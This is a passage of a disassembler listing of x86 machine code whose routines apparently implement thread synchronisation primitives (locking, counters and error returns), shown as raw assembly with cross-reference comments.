		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F350:				; CODE XREF: ___:00401D25j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_42F489
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42F38B
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F38B:				; CODE XREF: ___:0042F37Cj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A50
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402225
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_42F462
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_42F462
		cmp	[esi+0Ch], ebp
		jge	loc_42F475
		test	edi, edi
		jz	short loc_42F3F4
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F3F4:				; CODE XREF: ___:0042F3C9j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 2800000h
		push	0
		push	edi
		nop
		call	near ptr 280093Eh
		cmp	eax, 102h
		jnz	short loc_42F482
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 280022Ch
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_42F500
		push	ecx
		push	edi
		call	near ptr 280038Ch
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2800593h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_42F462:				; CODE XREF: ___:0042F3ADj
					; ___:0042F3B8j
		cmp	[esi+0Ch], ebp
		jge	short loc_42F475
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 280072Ch
		test	eax, eax
		jnz	short loc_42F479


loc_42F475:				; CODE XREF: ___:0042F3C1j
					; ___:0042F465j
		mov	[esp+10h], ebp


loc_42F479:				; CODE XREF: ___:0042F473j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_42F482:				; CODE XREF: ___:0042F40Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_42F489:				; CODE XREF: ___:0042F36Fj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F500:				; DATA XREF: ___:0042F430o
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F520	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_50E3AC
		push	esi
		push	eax
		call	sub_401190
sub_42F520	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_42F55E
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_42F54C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F54C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_42F54C:				; CODE XREF: ___:0042F53Bj
					; ___:0042F541j
		mov	edx, [esi+8]
		mov	eax, dword_50E3AC
		push	edx
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 8


loc_42F55E:				; CODE XREF: ___:0042F533j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42F590	proc near		; CODE XREF: sub_401659j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_50E3AC
		push	edx
		call	sub_401190
sub_42F590	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_50E3AC
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F5E0	proc near		; CODE XREF: sub_401B4Fj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42F614
		push	esi
		push	ecx
		call	sub_401541
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E900
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F614:				; CODE XREF: sub_42F5E0+17j
		test	eax, eax
		jnz	short loc_42F61D
		mov	esi, 16h


loc_42F61D:				; CODE XREF: sub_42F5E0+36j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_42F5E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F650:				; CODE XREF: ___:004020FEj
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F673
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42F673:				; CODE XREF: ___:0042F662j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F690:				; CODE XREF: ___:004021D0j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_42F6B3
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42F6B3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F6B3:				; CODE XREF: ___:0042F697j
					; ___:0042F69Dj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6D0:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F6ED
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42F6ED
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42F6ED
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42F6ED:				; CODE XREF: ___:0042F6D6j
					; ___:0042F6DCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F710:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42F73A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42F73A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42F72E
		test	eax, eax
		jnz	short loc_42F73A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42F72E:				; CODE XREF: ___:0042F725j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42F73A:				; CODE XREF: ___:0042F716j
					; ___:0042F71Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F750	proc near		; CODE XREF: sub_401541j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_42F766
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F766:				; CODE XREF: sub_42F750+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_42F78D
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_42F78D
		cmp	dword ptr [eax], 1
		jnz	short loc_42F78D
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F78D:				; CODE XREF: sub_42F750+1Ej
					; sub_42F750+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_42F7B2
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F7B2:				; CODE XREF: sub_42F750+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F7D7
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F81B
; ---------------------------------------------------------------------------


loc_42F7D7:				; CODE XREF: sub_42F750+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C76
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42F7F5
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_42F812
; ---------------------------------------------------------------------------


loc_42F7F5:				; CODE XREF: sub_42F750+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_42F87F
		push	ebx
		call	sub_401686
		add	esp, 4


loc_42F812:				; CODE XREF: sub_42F750+A3j
		push	ebp
		call	sub_401686
		add	esp, 4


loc_42F81B:				; CODE XREF: sub_42F750+85j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_42F872


loc_42F82B:				; CODE XREF: sub_42F750+131j
		push	offset dword_50E980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_50E3B4
		mov	[esi+1Ch], ecx
		mov	eax, dword_50E3B4
		test	eax, eax
		jz	short loc_42F852
		mov	[eax+18h], esi


loc_42F852:				; CODE XREF: sub_42F750+FDj
		mov	eax, dword_50E3B0
		mov	dword_50E3B4, esi
		test	eax, eax
		jnz	short loc_42F867
		mov	dword_50E3B0, esi


loc_42F867:				; CODE XREF: sub_42F750+10Fj
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh


loc_42F872:				; CODE XREF: sub_42F750+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F87F:				; CODE XREF: sub_42F750+B7j
		xor	edi, edi
		jmp	short loc_42F82B
sub_42F750	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F8E0	proc near		; CODE XREF: sub_401A91j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_42FA8C
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42FA8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_42FA43
		push	offset dword_50E980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42F939
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F939:				; CODE XREF: sub_42F8E0+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_40177B
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_42F960
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F960:				; CODE XREF: sub_42F8E0+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_42F999
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42F982
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_42F982:				; CODE XREF: sub_42F8E0+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_42FA2E
; ---------------------------------------------------------------------------


loc_42F999:				; CODE XREF: sub_42F8E0+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401686
		mov	edi, dword_50FA64
		add	esp, 4
		test	eax, eax
		jz	short loc_42F9BA
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_42F9BA:				; CODE XREF: sub_42F8E0+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401686
		add	esp, 4
		test	eax, eax
		jz	short loc_42F9D2
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_42F9D2:				; CODE XREF: sub_42F8E0+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42F9EC
		push	ebp
		call	sub_40222F
		add	esp, 4
		mov	ebx, eax


loc_42F9EC:				; CODE XREF: sub_42F8E0+FFj
		cmp	dword_50E3B0, esi
		jnz	short loc_42F9FF
		mov	edx, [esi+18h]
		mov	dword_50E3B0, edx
		jmp	short loc_42FA08
; ---------------------------------------------------------------------------


loc_42F9FF:				; CODE XREF: sub_42F8E0+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_42FA08:				; CODE XREF: sub_42F8E0+11Dj
		cmp	dword_50E3B4, esi
		jnz	short loc_42FA1B
		mov	edx, [esi+1Ch]
		mov	dword_50E3B4, edx
		jmp	short loc_42FA24
; ---------------------------------------------------------------------------


loc_42FA1B:				; CODE XREF: sub_42F8E0+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_42FA24:				; CODE XREF: sub_42F8E0+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_42FA2E:				; CODE XREF: sub_42F8E0+B4j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_42FA72
; ---------------------------------------------------------------------------


loc_42FA43:				; CODE XREF: sub_42F8E0+28j
		push	offset dword_50E900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42FA5B
		mov	dword ptr [edi], 0
		jmp	short loc_42FA67
; ---------------------------------------------------------------------------


loc_42FA5B:				; CODE XREF: sub_42F8E0+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_42FA67:				; CODE XREF: sub_42F8E0+179j
		push	offset dword_50E900
		nop
		call	near ptr 7C9010EDh


loc_42FA72:				; CODE XREF: sub_42F8E0+161j
		test	esi, esi
		jz	short loc_42FA7E
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FA7E:				; CODE XREF: sub_42F8E0+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_42FA91
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FA8C:				; CODE XREF: sub_42F8E0+15j
					; sub_42F8E0+1Fj
		mov	eax, 16h


loc_42FA91:				; CODE XREF: sub_42F8E0+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F8E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB10	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	near ptr sub_42FB40
		add	esp, 0Ch
		retn
sub_42FB10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB40	proc far		; CODE XREF: sub_42FB10+Cp
					; sub_42FE10+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_FFFFFFFC	= dword	ptr  4
arg_0		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_FFFFFFFC]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_42FC49
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42FC49
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42FB82
		push	esi
		call	sub_401B4F
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_42FB82
		cmp	eax, 10h
		jnz	loc_42FC4E


loc_42FB82:				; CODE XREF: sub_42FB40+26j
					; sub_42FB40+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FBA2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FBA2:				; CODE XREF: sub_42FB40+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FBC2
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_42FBC2:				; CODE XREF: sub_42FB40+72j
		mov	edi, [esp+28h+arg_0]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_42FCB0
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401659
; ---------------------------------------------------------------------------
		dw 0E857h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 14h,	0FDh, 0FFh
		dd 8910C483h, 85082444h, 8B2775C0h, 83342444h, 56500CC6h
		dd 0FD1C87E8h, 8C483FFh, 0E74C085h, 7EF69FE8h, 8B9077h
		dd 8244489h, 448B04EBh,	0C9330824h, 0C085016Ah,	89C1940Fh
		dd 0E828244Ch, 0FFFD14E6h, 0C24448Bh, 5F04C483h, 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42FC49:				; CODE XREF: sub_42FB40+13j
					; sub_42FB40+1Dj
		mov	eax, 16h


loc_42FC4E:				; CODE XREF: sub_42FB40+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_42FB40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; DATA XREF: sub_42FB40+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FCDB
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FCDB:				; CODE XREF: ___:0042FCD1j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_42FCEE
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_42FD57
; ---------------------------------------------------------------------------


loc_42FCEE:				; CODE XREF: ___:0042FCE4j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_42FD57
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD22
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD22:				; CODE XREF: ___:0042FD0Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD4C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD4C:				; CODE XREF: ___:0042FD36j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_42FD57:				; CODE XREF: ___:0042FCECj
					; ___:0042FCFCj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD70
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD70:				; CODE XREF: ___:0042FD62j
		cmp	ebx, 1
		jnz	short loc_42FD99
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_42FD99
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42FD99:				; CODE XREF: ___:0042FD73j
					; ___:0042FD83j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jz	short loc_42FDAF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_42FDAF:				; CODE XREF: ___:0042FDA7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FE10	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_42FE1E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FE1E:				; CODE XREF: sub_42FE10+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	near ptr sub_42FB40
		add	esp, 0Ch
		retn
sub_42FE10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FE50	proc near		; CODE XREF: sub_401E51j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_42FE70
		add	esp, 8
		retn
sub_42FE50	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FE70	proc near		; CODE XREF: sub_42FE50+7p
					; sub_42FFD0+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_42FF74
		mov	esi, [eax]
		test	esi, esi
		jz	loc_42FF74
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42FE94
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FE94:				; CODE XREF: sub_42FE70+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_42FF79
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_42FEE4
		test	eax, eax
		jnz	short loc_42FEC2


loc_42FEB5:				; CODE XREF: sub_42FE70+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FEC2:				; CODE XREF: sub_42FE70+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_42FED9
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_42FF46
; ---------------------------------------------------------------------------


loc_42FED9:				; CODE XREF: sub_42FE70+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_42FF43
; ---------------------------------------------------------------------------


loc_42FEE4:				; CODE XREF: sub_42FE70+3Fj
		cmp	eax, [esi+4]
		jle	short loc_42FEB5
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF10
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: sub_42FE70+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_42FF24
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_42FF24:				; CODE XREF: sub_42FE70+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_42FF39
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_42FF46
; ---------------------------------------------------------------------------


loc_42FF39:				; CODE XREF: sub_42FE70+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_42FF43:				; CODE XREF: sub_42FE70+72j
		dec	eax
		mov	[esi], eax


loc_42FF46:				; CODE XREF: sub_42FE70+67j
					; sub_42FE70+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_42FF6E
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_40204A
		add	esp, 8
		test	eax, eax
		jz	short loc_42FF6E
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_42FF6E:				; CODE XREF: sub_42FE70+E3j
					; sub_42FE70+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42FF74:				; CODE XREF: sub_42FE70+9j
					; sub_42FE70+13j
		mov	eax, 16h


loc_42FF79:				; CODE XREF: sub_42FE70+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FE70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FFD0	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_42FE70
		add	esp, 8
		retn
sub_42FFD0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FFF0	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B13
